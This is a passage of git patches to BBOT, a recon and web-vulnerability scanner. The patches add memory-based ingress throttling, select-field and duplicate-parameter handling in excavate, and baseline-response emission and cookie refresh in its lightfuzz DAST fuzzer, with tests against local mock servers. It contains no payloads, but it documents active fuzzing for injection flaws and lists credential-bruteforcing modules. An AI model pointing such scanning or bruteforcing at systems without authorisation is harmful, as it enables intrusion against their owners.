+++ b/.github/workflows/cla.yml @@ -15,7 +15,7 @@ jobs: steps: - name: Generate token from GitHub App id: app-token - uses: actions/create-github-app-token@v1 + uses: actions/create-github-app-token@v3 with: app-id: ${{ secrets.APP_ID }} private-key: ${{ secrets.APP_PRIVATE_KEY }} diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 4d7fb2baff..a34d7d000e 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -46,7 +46,7 @@ jobs: name: pytest-debug-logs-${{ env.PYTHON_VERSION }} path: pytest_debug.log - name: Upload Code Coverage - uses: codecov/codecov-action@v5 + uses: codecov/codecov-action@v6 with: token: ${{ secrets.CODECOV_TOKEN }} files: ./cov.xml @@ -61,9 +61,9 @@ jobs: with: fetch-depth: 0 - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 + uses: docker/setup-buildx-action@v4 - name: Login to Docker Hub - uses: docker/login-action@v3 + uses: docker/login-action@v4 with: username: ${{ secrets.DOCKER_USERNAME }} password: ${{ secrets.DOCKER_PASSWORD }} @@ -105,7 +105,7 @@ jobs: run: uv build - name: Publish Pypi package if: github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev' - uses: pypa/gh-action-pypi-publish@release/v1.13 + uses: pypa/gh-action-pypi-publish@release/v1.14 with: password: ${{ secrets.PYPI_API_TOKEN }} - name: Get BBOT version @@ -121,7 +121,7 @@ jobs: echo "BBOT_VERSION_MAJOR=$MAJOR" >> $GITHUB_OUTPUT - name: Publish to Docker Hub (dev) if: github.event_name == 'push' && github.ref == 'refs/heads/dev' - uses: docker/build-push-action@v6 + uses: docker/build-push-action@v7 with: push: true context: . @@ -130,7 +130,7 @@ jobs: blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }} - name: Publish to Docker Hub (stable) if: github.event_name == 'push' && github.ref == 'refs/heads/stable' - uses: docker/build-push-action@v6 + uses: docker/build-push-action@v7 with: push: true context: . @@ -142,7 +142,7 @@ jobs: blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR }} - name: Publish Full Docker Image to Docker Hub (dev) if: github.event_name == 'push' && github.ref == 'refs/heads/dev' - uses: docker/build-push-action@v6 + uses: docker/build-push-action@v7 with: push: true file: Dockerfile.full @@ -152,7 +152,7 @@ jobs: blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }}-full - name: Publish Full Docker Image to Docker Hub (stable) if: github.event_name == 'push' && github.ref == 'refs/heads/stable' - uses: docker/build-push-action@v6 + uses: docker/build-push-action@v7 with: push: true file: Dockerfile.full From 146ee3578d82f641bb604c8aad47254d01eeb79f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 11:18:47 -0400 Subject: [PATCH 625/912] virtualhost: return None instead of raising on canary mismatch Prevents the rejection from bubbling up as a warning through as_completed. --- bbot/modules/virtualhost.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 0fe2f75eec..6270ab4c5c 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -730,7 +730,7 @@ async def _test_virtualhost( self.verbose( f"CANARY CHANGED: Rejecting {probe_host}. Original canary had code {canary_response.status_code} and response data of length {len(canary_response.text or '')}" ) - raise RuntimeError(f"Canary changed since initial test, rejecting {probe_host}") + return None # Canary is consistent, proceed probe_url = f"{event.parsed_url.scheme}://{probe_host}:{port}/" From 694ea643c55d7d32060a0ed94522c6941ddcd63b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 11:44:28 -0400 Subject: [PATCH 626/912] throttle ingress under memory pressure MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When system memory exceeds max_mem_percent (default 90%), ScanIngress sleeps a per-event delay before pulling the next event. Delay scales linearly from 0s at the threshold to 5s at threshold+5 (capped at 95%), recomputed each status tick from current memory. Slows the front of the pipeline so already-running modules have time to drain and free memory. No hard pause, no hysteresis, no state machine — when memory drops back below threshold the delay naturally returns to 0. Edge-triggered logs on engage/clear. --- bbot/defaults.yml | 4 +++ bbot/scanner/manager.py | 4 +++ bbot/scanner/scanner.py | 33 ++++++++++++++++++---- bbot/test/test_step_1/test_scan.py | 44 ++++++++++++++++++++++++++++++ docs/scanning/configuration.md | 4 +++ 5 files changed, 83 insertions(+), 6 deletions(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 9a2272c963..d102d97ac2 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -15,6 +15,10 @@ home: ~/.bbot keep_scans: 20 # Interval for displaying status messages status_frequency: 15 +# When system memory exceeds this percentage, ingress is throttled with a per-event sleep +# that scales linearly from 0s at the threshold up to 5s at threshold+5 (capped at 95%). +# Last-ditch effort to give the pipeline a chance to drain before OOM. +max_mem_percent: 90 # Include the raw data of files (i.e. PDFs, web screenshots) as base64 in the event file_blobs: false # Include the raw data of directories (i.e. git repos) as tar.gz base64 in the event diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index 0ad7f59c85..ddf5048be4 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -145,6 +145,10 @@ def module_priority_weights(self): return self._module_priority_weights async def get_incoming_event(self): + # memory-pressure backpressure: scan-level delay scales 0s→5s as memory crosses 90→95%. + # delay is 0 in the common case so this is a near-free check. + if self.scan._ingress_delay > 0: + await asyncio.sleep(self.scan._ingress_delay) for q in self.helpers.weighted_shuffle(self.incoming_queues, self.module_priority_weights): try: return q.get_nowait() diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index bdedce36dd..c7a7aa0a1e 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -273,6 +273,12 @@ def __init__( # how often to print scan status self.status_frequency = self.config.get("status_frequency", 15) + # memory-pressure ingress throttle: when system memory exceeds max_mem_percent, + # ScanIngress sleeps _ingress_delay seconds before pulling each event. + # delay is recomputed every status tick from current memory. + self.max_mem_percent = self.config.get("max_mem_percent", 90) + self._ingress_delay = 0.0 + from .stats import ScanStats self.stats = ScanStats(self) @@ -746,14 +752,20 @@ def modules_status(self, _log=False, detailed=False): modules_errored = [m for m, s in status["modules"].items() if s["errored"]] - max_mem_percent = 90 mem_status = self.helpers.memory_status() - # abort if we don't have the memory mem_percent = mem_status.percent - if mem_percent > max_mem_percent: - free_memory = mem_status.available - free_memory_human = self.helpers.bytes_to_human(free_memory) - self.warning(f"System memory is at {mem_percent:.1f}% ({free_memory_human} remaining)") + prev_delay = self._ingress_delay + new_delay = self._compute_ingress_delay(mem_percent) + self._ingress_delay = new_delay + if mem_percent > self.max_mem_percent: + free_memory_human = self.helpers.bytes_to_human(mem_status.available) + if prev_delay == 0.0 and new_delay > 0.0: + self.warning( + f"System memory is at {mem_percent:.1f}% ({free_memory_human} remaining); " + f"throttling ingress ({new_delay:.1f}s/event) to let the pipeline drain" + ) + elif prev_delay > 0.0 and new_delay == 0.0: + self.hugesuccess(f"System memory dropped to {mem_percent:.1f}%; ingress throttle cleared") if _log: modules_status = [] @@ -826,6 +838,15 @@ def modules_status(self, _log=False, detailed=False): return status + def _compute_ingress_delay(self, mem_percent): + # 0s at threshold, scaling linearly to 5s at threshold+5 (capped at 95%). + if mem_percent <= self.max_mem_percent: + return 0.0 + cap = min(self.max_mem_percent + 5, 95) + overshoot_range = max(cap - self.max_mem_percent, 1) + overshoot = min(mem_percent - self.max_mem_percent, overshoot_range) + return (overshoot / overshoot_range) * 5.0 + async def async_stop(self): """Stops the in-progress scan and performs necessary cleanup. diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 995d1e9c2a..45f97bd97d 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -431,3 +431,47 @@ async def test_scan_name(bbot_scanner): await scan._prep() assert scan.name == "test_scan_name" assert scan.preset.scan_name == "test_scan_name" + + +@pytest.mark.asyncio +async def test_memory_backpressure_throttle(bbot_scanner, monkeypatch): + """Ingress delay scales linearly with memory overshoot, and the scan still completes under pressure.""" + from types import SimpleNamespace + + mem_percent = [50.0] + + def mock_memory_status(): + return SimpleNamespace(percent=mem_percent[0], available=1_000_000_000) + + scan = bbot_scanner("127.0.0.1", config={"max_mem_percent": 90}) + await scan._prep() + await scan.helpers.dns._mock_dns({"1.1.1.1.in-addr.arpa": {"PTR": ["one.one.one.one"]}}) + monkeypatch.setattr("bbot.core.helpers.misc.memory_status", mock_memory_status) + + # delay curve — pure function of memory percent + assert scan._compute_ingress_delay(50.0) == 0.0 + assert scan._compute_ingress_delay(90.0) == 0.0 + assert scan._compute_ingress_delay(91.0) == pytest.approx(1.0) + assert scan._compute_ingress_delay(92.5) == pytest.approx(2.5) + assert scan._compute_ingress_delay(95.0) == pytest.approx(5.0) + # capped above threshold+5 + assert scan._compute_ingress_delay(99.0) == pytest.approx(5.0) + + # status loop wires memory_status -> _ingress_delay + assert scan._ingress_delay == 0.0 + + mem_percent[0] = 93.0 + scan.modules_status(_log=False) + assert scan._ingress_delay == pytest.approx(3.0), "delay should engage above threshold" + + mem_percent[0] = 97.0 + scan.modules_status(_log=False) + assert scan._ingress_delay == pytest.approx(5.0), "delay should clamp at the cap" + + mem_percent[0] = 80.0 + scan.modules_status(_log=False) + assert scan._ingress_delay == 0.0, "delay should clear once memory drops back" + + # scan still produces events with the throttle disengaged + events = [e async for e in scan.async_start()] + assert any(e.type == "IP_ADDRESS" for e in events), "scan should still produce events" diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 221f22a860..3fefd0e999 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -74,6 +74,10 @@ home: ~/.bbot keep_scans: 20 # Interval for displaying status messages status_frequency: 15 +# When system memory exceeds this percentage, ingress is throttled with a per-event sleep +# that scales linearly from 0s at the threshold up to 5s at threshold+5 (capped at 95%). +# Last-ditch effort to give the pipeline a chance to drain before OOM. +max_mem_percent: 90 # Include the raw data of files (i.e. PDFs, web screenshots) as base64 in the event file_blobs: false # Include the raw data of directories (i.e. git repos) as tar.gz base64 in the event From 5336508068b817f626c99437b5f835756577cb43 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Mon, 11 May 2026 11:46:21 -0400 Subject: [PATCH 627/912] Potential fix for pull request finding 'CodeQL / Incomplete URL substring sanitization' Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com> --- bbot/test/test_step_2/module_tests/test_module_shodan_idb.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py index aeb280da36..c8b88f9a9c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py @@ -94,7 +94,9 @@ def check(self, module_test, events): # CVEDB should be hit exactly once per unique CVE; the duplicate CVE-2021-26857 # in vulns must hit the cache rather than triggering a second request. - cvedb_requests = [r for r in module_test.httpx_mock.get_requests() if "cvedb.shodan.io" in str(r.url)] + cvedb_requests = [ + r for r in module_test.httpx_mock.get_requests() if r.url.host and r.url.host == "cvedb.shodan.io" + ] assert len(cvedb_requests) == 2, f"expected 2 CVEDB requests, got {len(cvedb_requests)}" assert sorted(str(r.url) for r in cvedb_requests) == [ "https://cvedb.shodan.io/cve/CVE-2021-26855", From 9b2592d65300a8b3d4970f10e6bed4f3d414c80a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 12:35:26 -0400 Subject: [PATCH 628/912] excavate: prefer + + + + + +
    + + +
    +
    + + +
    +
    + + +
    + + + """ + + async def setup_after_prep(self, module_test): + respond_args = {"response_data": self.select_extract_html, "headers": {"Content-Type": "text/html"}} + module_test.set_expect_requests(respond_args=respond_args) + + def check(self, module_test, events): + picked = {} + for e in events: + if e.type != "WEB_PARAMETER": + continue + name = e.data.get("name") + if name in ( + "selected_nonfirst", + "first_empty", + "selected_with_empty_first", + "selected_empty", + ): + picked[name] = e.data.get("original_value") + + assert "selected_nonfirst" in picked, "Did not extract WEB_PARAMETER for selected_nonfirst" + assert picked["selected_nonfirst"] == "admin", ( + f"selected_nonfirst: expected the option with `selected` to win, got {picked['selected_nonfirst']!r}" + ) + + assert "first_empty" in picked, "Did not extract WEB_PARAMETER for first_empty" + assert picked["first_empty"] == "staging", ( + f"first_empty: expected the first non-empty option to be picked when no option is selected, got {picked['first_empty']!r}" + ) + + assert "selected_with_empty_first" in picked, "Did not extract WEB_PARAMETER for selected_with_empty_first" + assert picked["selected_with_empty_first"] == "us-east", ( + f"selected_with_empty_first: expected `selected` to win over the empty first option, got {picked['selected_with_empty_first']!r}" + ) + + assert "selected_empty" in picked, "Did not extract WEB_PARAMETER for selected_empty" + assert picked["selected_empty"] == "fallback", ( + f"selected_empty: expected fallback to the first non-empty option when `selected` is empty, got {picked['selected_empty']!r}" + ) + + class TestExcavateParameterExtraction_postform_noaction(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] From 41901101d38886d6bb31edd6c13884d1447b2071 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 13:23:34 -0400 Subject: [PATCH 629/912] lightfuzz: emit canonical baseline responses as HTTP_RESPONSE events MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Ship the response from each parameter's first ('main') compare_baseline call to excavate so pages only rendered after a real submission — confirmation pages, redirect targets, forms behind a submit — get mined for new params and URLs. Per-WEB_PARAMETER HttpCompare cache (keyed on the full prepared request signature) shares one baseline across submodules whose request shape collapses to the same tuple (sqli + cmdi + path on a POSTPARAM with no envelopes were firing three identical baseline pairs). Cache miss creates the HttpCompare and registers a one-shot on_baseline_ready callback that emits the resulting HTTP_RESPONSE; cache hits return the existing instance with no extra network or emission. Cleared per-event at handle_event exit. - HttpCompare.on_baseline_ready: optional async callback invoked once after baseline_1 is established. - compare_baseline()/baseline_probe(): new emit_http_response kwarg (default True). Set False at sqli._confirm_code_change's FP-killer rounds so confirmation baselines don't generate noisy events. - Shared helper bbot/core/helpers/web/response_event.py (DRY: http.py now uses the same response_to_event_dict to build event payloads). - _outgoing_dedup_hash: graceful handling for non-FINDING event types. - New lightfuzz config: emit_baseline_responses (default true). End-to-end test: a POST form whose picker prefers the `selected` option over the empty first one +# 2. lightfuzz emits the canonical baseline response as an HTTP_RESPONSE event, +# which excavate then mines for new URLs +# +# The target page hosts a POST form with a + + + + + + + + + """ + + async def setup_after_prep(self, module_test): + # GET / serves the form + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": self.landing_page, "status": 200}, + ) + + # POST /login only reveals the secret link on a properly-formed submission + # (role == "admin" and csrf == "abc"). Otherwise a vanilla page. + def login_handler(request): + form = request.form + role = form.get("role", "") + csrf = form.get("csrf", "") + if role == "admin" and csrf == "abc": + body = ( + '

    Logged in as admin

    Admin console' + ) + else: + body = "

    Login failed

    " + return Response(body, status=200, content_type="text/html") + + module_test.set_expect_requests_handler( + expect_args=re.compile("/login"), + request_handler=login_handler, + ) + + def check(self, module_test, events): + # The chain succeeded iff a URL_UNVERIFIED for /secret-endpoint exists. + # That single event proves: select picker chose "admin" (otherwise the + # server wouldn't have revealed it), lightfuzz fired a properly-formed + # POST baseline, the response was emitted as HTTP_RESPONSE, and excavate + # mined the new URL out of the body. + secret_url = "http://127.0.0.1:8888/secret-endpoint" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /secret-endpoint not emitted — the lightfuzz baseline → " + "excavate chain failed somewhere (select-picker, baseline POST shape, " + "HTTP_RESPONSE emission, or excavate URL extraction)." + ) + + # The role parameter should have been emitted with original_value="admin" + # (proving the select picker preferred `selected` over the empty first option). + role_param = next( + (e for e in events if e.type == "WEB_PARAMETER" and e.data.get("name") == "role"), + None, + ) + assert role_param is not None, "WEB_PARAMETER for 'role' was not emitted" + assert role_param.data.get("original_value") == "admin", ( + f"select picker chose the wrong option: expected 'admin', got {role_param.data.get('original_value')!r}" + ) From dadc97d23924c3f91a4db5ba636b6dec6ceffd5d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 13:23:47 -0400 Subject: [PATCH 630/912] docs: frame lightfuzz as BBOT's DAST module Establish the connection between lightfuzz and the DAST term in the module's own docs page, the module list table, the module meta description, and the README TOC. --- README.md | 2 +- docs/modules/lightfuzz.md | 2 +- docs/modules/list_of_modules.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index efbdb925e0..e29669b778 100644 --- a/README.md +++ b/README.md @@ -380,7 +380,7 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl - [List of Modules](https://www.blacklanternsecurity.com/bbot/Stable/modules/list_of_modules) - [Nuclei](https://www.blacklanternsecurity.com/bbot/Stable/modules/nuclei) - [Custom YARA Rules](https://www.blacklanternsecurity.com/bbot/Stable/modules/custom_yara_rules) - - [Lightfuzz](https://www.blacklanternsecurity.com/bbot/Stable/modules/lightfuzz) + - [Lightfuzz (DAST)](https://www.blacklanternsecurity.com/bbot/Stable/modules/lightfuzz) - **Misc** - [Contribution](https://www.blacklanternsecurity.com/bbot/Stable/contribution) - [Release History](https://www.blacklanternsecurity.com/bbot/Stable/release_history) diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index c43a105c7c..9326ad4a13 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -6,7 +6,7 @@ ### What is Lightfuzz? -Lightfuzz is a lightweight web fuzzer built into BBOT. It is designed to find "low-hanging fruit" type vulnerabilities without much overhead and at massive scale. +Lightfuzz is BBOT's **DAST (Dynamic Application Security Testing) module** — a lightweight web fuzzer built directly into BBOT's recursive scan pipeline. It is designed to find "low-hanging fruit" type vulnerabilities without much overhead and at massive scale. Whenever BBOT's recon stage discovers a fuzzable parameter (`WEB_PARAMETER` event), lightfuzz takes over and runs its DAST checks against that parameter. ### What is Lightfuzz NOT? diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index fad65e1ecd..f0209d85c5 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -33,7 +33,7 @@ | hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | | iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, loud, web | URL | URL_HINT | @liquidsec | 2022-04-15 | | legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, loud | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | -| lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | +| lightfuzz | scan | No | BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | | medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, invasive, loud | PROTOCOL | FINDING | @christianfl | 2025-05-16 | | newsletters | scan | No | Searches for Newsletter Submission Entry Fields on Websites | active, safe | HTTP_RESPONSE | FINDING | @stryker2k2 | 2024-02-02 | | ntlm | scan | No | Watch for HTTP endpoints that support NTLM authentication | active, safe, web | HTTP_RESPONSE, URL | DNS_NAME, FINDING | @liquidsec | 2022-07-25 | From 2bbc0594365142741dcf9ac6bdec230e76da1bec Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 14:43:58 -0400 Subject: [PATCH 631/912] excavate: consolidate same-name params into same_param_values; loosen select picker MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit WEB_PARAMETER dedup collapses multiple / into one event (url_unparse strips the query string for GETPARAMs, so the data_id key matches across the values). The other values were silently discarded — invisible to cross-value detectors like crypto's many-time-pad check. Now: parameter extractor groups yields by (type, name, url) per identifier and emits one WEB_PARAMETER per group. The first observed value becomes original_value; any additional distinct values for the same param go into a new same_param_values list on the event data. Crypto reads this in its keystream-reuse detector (next commit). Also simplifies the 's inner HTML. Preference order: - 1. The option carrying a `selected` attribute, if its value is non-empty. - 2. The first option with a non-empty value. - 3. None, if no option has a non-empty value. + 1. The option carrying a `selected` attribute (its value, blank or not). + 2. The first option's value (blank or not) — filter-style forms often use + an empty default that "matches all", so substituting a specific choice + could narrow results to nothing. + 3. None, if there are no options at all. """ if not options_html: return None selected_value = None - first_nonempty_value = None + selected_found = False + first_value = None + first_set = False for attrs in bbot_regexes.option_tag_regex.findall(options_html): value_match = bbot_regexes.option_value_regex.search(attrs) if value_match: value = next((g for g in value_match.groups() if g is not None), "") else: value = "" - if not value: - continue - if selected_value is None and bbot_regexes.option_selected_regex.search(attrs): + if not first_set: + first_value = value + first_set = True + if not selected_found and bbot_regexes.option_selected_regex.search(attrs): selected_value = value - if first_nonempty_value is None: - first_nonempty_value = value - return selected_value if selected_value is not None else first_nonempty_value + selected_found = True + if selected_found: + return selected_value + return first_value if first_set else None def _exclude_key(original_dict, key_to_exclude): @@ -583,14 +589,20 @@ async def extract(self): # Swap elements if needed input_tags = [(b, a) for a, b in input_tags] if form_content_regex_name == "select_tag_regex": - # Prefer the option marked `selected`, falling back to the first non-empty option + # Prefer the option marked `selected`, falling back to the first + # option (blank or not — filter forms often use a blank default + # that matches all results) input_tags = [ (name, _pick_select_value(options_html)) for name, options_html in input_tags ] for parameter_name, original_value in input_tags: - form_parameters.setdefault( - parameter_name, original_value.strip() if original_value else None - ) + # Preserve empty strings (selects can legitimately have "" + # as their preferred value); only None means "no value seen". + if original_value is None: + normalized = None + else: + normalized = original_value.strip() + form_parameters.setdefault(parameter_name, normalized) for parameter_name, original_value in form_parameters.items(): yield ( @@ -640,15 +652,25 @@ def __init__(self, excavate): ) async def process(self, yara_results, event, yara_rule_settings, discovery_context): + # Two-pass: collect every yielded tuple across all YARA results for an + # identifier (YARA matches each tag separately, so values for the + # same param-name arrive one match at a time), then group by + # (parameter_type, parameter_name, url) and emit one WEB_PARAMETER per + # group. The first observed value becomes original_value; any additional + # distinct values for the same param are attached as same_param_values, + # surviving the WEB_PARAMETER dedup that would otherwise discard them. + # Cross-value detectors (e.g. lightfuzz crypto's keystream-reuse check) + # read same_param_values. for identifier, results in yara_results.items(): + if identifier not in self.parameterExtractorCallbackDict.keys(): + raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule") + grouped = {} + submodule_name = None for result in results: - if identifier not in self.parameterExtractorCallbackDict.keys(): - raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule") parameterExtractorSubModule = self.parameterExtractorCallbackDict[identifier]( self.excavate, result ) - - # Use async for to iterate over the async generator + submodule_name = parameterExtractorSubModule.name async for ( parameter_type, parameter_name, @@ -657,7 +679,7 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte additional_params, ) in parameterExtractorSubModule.extract(): self.excavate.debug( - f"Found Parameter [{parameter_name}] in [{parameterExtractorSubModule.name}] ParameterExtractor Submodule" + f"Found Parameter [{parameter_name}] in [{submodule_name}] ParameterExtractor Submodule" ) # account for the case where the action is html encoded @@ -686,26 +708,43 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte self.excavate.debug(f"Invalid URL [{url}]: {e}") continue - if self.excavate.helpers.validate_parameter(parameter_name, parameter_type): - if self.excavate.in_bl(parameter_name) is False: - description = f"HTTP Extracted Parameter [{parameter_name}] ({parameterExtractorSubModule.name} Submodule)" - data = { - "host": parsed_url.hostname, - "type": parameter_type, - "name": parameter_name, - "original_value": original_value, - "url": self.excavate.url_unparse(parameter_type, parsed_url), - "additional_params": additional_params, - "assigned_cookies": self.excavate.assigned_cookies, - "description": description, - } - await self.report( - data, event, yara_rule_settings, discovery_context, event_type="WEB_PARAMETER" - ) - else: - self.excavate.debug(f"blocked parameter [{parameter_name}] due to BL match") - else: + if not self.excavate.helpers.validate_parameter(parameter_name, parameter_type): self.excavate.debug(f"blocked parameter [{parameter_name}] due to validation failure") + continue + if self.excavate.in_bl(parameter_name) is not False: + self.excavate.debug(f"blocked parameter [{parameter_name}] due to BL match") + continue + + emit_url = self.excavate.url_unparse(parameter_type, parsed_url) + group_key = (parameter_type, parameter_name, emit_url) + if group_key not in grouped: + grouped[group_key] = { + "parsed_url": parsed_url, + "values": [], + "additional_params": additional_params, + } + group_values = grouped[group_key]["values"] + if original_value not in group_values: + group_values.append(original_value) + + for (parameter_type, parameter_name, emit_url), group in grouped.items(): + values = group["values"] + primary_value = values[0] + same_param_values = values[1:] + description = f"HTTP Extracted Parameter [{parameter_name}] ({submodule_name} Submodule)" + data = { + "host": group["parsed_url"].hostname, + "type": parameter_type, + "name": parameter_name, + "original_value": primary_value, + "url": emit_url, + "additional_params": group["additional_params"], + "assigned_cookies": self.excavate.assigned_cookies, + "description": description, + } + if same_param_values: + data["same_param_values"] = same_param_values + await self.report(data, event, yara_rule_settings, discovery_context, event_type="WEB_PARAMETER") class CSPExtractor(ExcavateRule): description = "Extracts domains from CSP headers." diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 2e797e91f9..0dbd21c433 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -662,9 +662,12 @@ class TestExcavateSelectTagSelection(ModuleTestBase): """Verify + + + + """ + + async def setup_after_prep(self, module_test): + state = self._token_state + + def combined_handler(request): + # GET / → serve the form, cycle the TESTSESSION cookie to a fresh token. + # POST /cookie-login → reveal the secret only if the request carries the + # most-recently-issued TESTSESSION (the post-refresh token). + if request.method == "GET": + state["counter"] += 1 + state["current"] = f"token-{state['counter']}" + resp = Response(self.landing_page, status=200, content_type="text/html") + resp.set_cookie("TESTSESSION", state["current"], path="/") + return resp + else: # POST + cookie = request.cookies.get("TESTSESSION", "") + if cookie and cookie == state["current"]: + body = 'Authorized' + else: + body = "

    Session expired

    " + return Response(body, status=200, content_type="text/html") + + # Single regex covers both GET / and POST /cookie-login; dispatcher inside + # the handler routes by method. + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=combined_handler, + ) + + def check(self, module_test, events): + # /secret-endpoint only appears in the body the server returns when the + # POST carries the current (post-refresh) token. If the stale spider-era + # cookie had been used, the server would have returned "Session expired" + # and excavate would have nothing to extract. + secret_url = "http://127.0.0.1:8888/secret-endpoint" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /secret-endpoint not emitted — cookie refresh failed; " + "lightfuzz POST likely used the spider's stale TESTSESSION token." + ) From ef11c29286763ebff752a30ba47ad86c9e9df749 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 14:59:10 -0400 Subject: [PATCH 633/912] lightfuzz: declare HTTP_RESPONSE in produced_events Lightfuzz emits HTTP_RESPONSE events for canonical baseline responses but the class attribute still only listed FINDING, breaking BBOT's dependency resolution: in a real scan, excavate wouldn't auto-enable from lightfuzz because BBOT didn't see lightfuzz as an HTTP_RESPONSE producer. Tests passed only because they explicitly enable both modules via modules_overrides. --- bbot/modules/lightfuzz/lightfuzz.py | 2 +- docs/modules/list_of_modules.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 032b50aff8..96fa009c63 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -10,7 +10,7 @@ class lightfuzz(BaseModule): watched_events = ["URL", "WEB_PARAMETER"] - produced_events = ["FINDING"] + produced_events = ["FINDING", "HTTP_RESPONSE"] flags = ["active", "loud", "web-heavy", "invasive"] options = { diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index f0209d85c5..db02b9ae9c 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -33,7 +33,7 @@ | hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | | iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, loud, web | URL | URL_HINT | @liquidsec | 2022-04-15 | | legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, loud | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | -| lightfuzz | scan | No | BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | +| lightfuzz | scan | No | BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING, HTTP_RESPONSE | @liquidsec | 2024-06-28 | | medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, invasive, loud | PROTOCOL | FINDING | @christianfl | 2025-05-16 | | newsletters | scan | No | Searches for Newsletter Submission Entry Fields on Websites | active, safe | HTTP_RESPONSE | FINDING | @stryker2k2 | 2024-02-02 | | 